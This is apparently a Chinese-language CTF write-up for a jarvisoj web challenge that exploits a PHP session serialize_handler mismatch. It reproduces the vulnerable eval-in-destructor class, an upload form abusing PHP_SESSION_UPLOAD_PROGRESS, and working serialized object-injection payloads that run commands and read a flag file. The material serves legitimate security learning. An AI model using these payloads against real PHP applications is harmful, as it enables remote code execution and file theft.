jarvisoj-web的一道SESSION反序列化题目
哈哈哈,现学现卖。刚刚总结了session序列化漏洞。现在就来做一下这个题目
还是参考师傅博客。
题目地址
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
看代码前面是ini_set(‘session.serialize_handler’, ‘php’);
肯定要利用这个点。
而我们传递?phpinfo就会出现phpinfo页面
思路是:我们找一个可以利用php_serialize添加session的方法。在通过php的序列化进行解析从而形成漏洞。
这里参考Chybeta师傅的一个姿势:
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
我们就构造上传页面进行上传
#upload.php
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
#poc.php
<?php
class OowoO
{
public $mdzz="system('ls');";
}
$obj = new OowoO();
echo serialize($obj);
?>
#O:5:"OowoO":1:{s:4:"mdzz";s:13:"system('ls');";}
payload:为防止转义,在引号前加上
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:13:\"system('ls');\";}
方法:将filename改成payload
失败!可能是禁止用了system函数,我们在phpinfo里面可以看到
使用:print_r(scandir(dirname(__FILE__)));
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
之后通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]
最后使用print_r(file_get_contents());
payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
最后获得flag
总结:主要思想
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
拓展:这个题的思想一点点像wmctf make php great again
参考
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app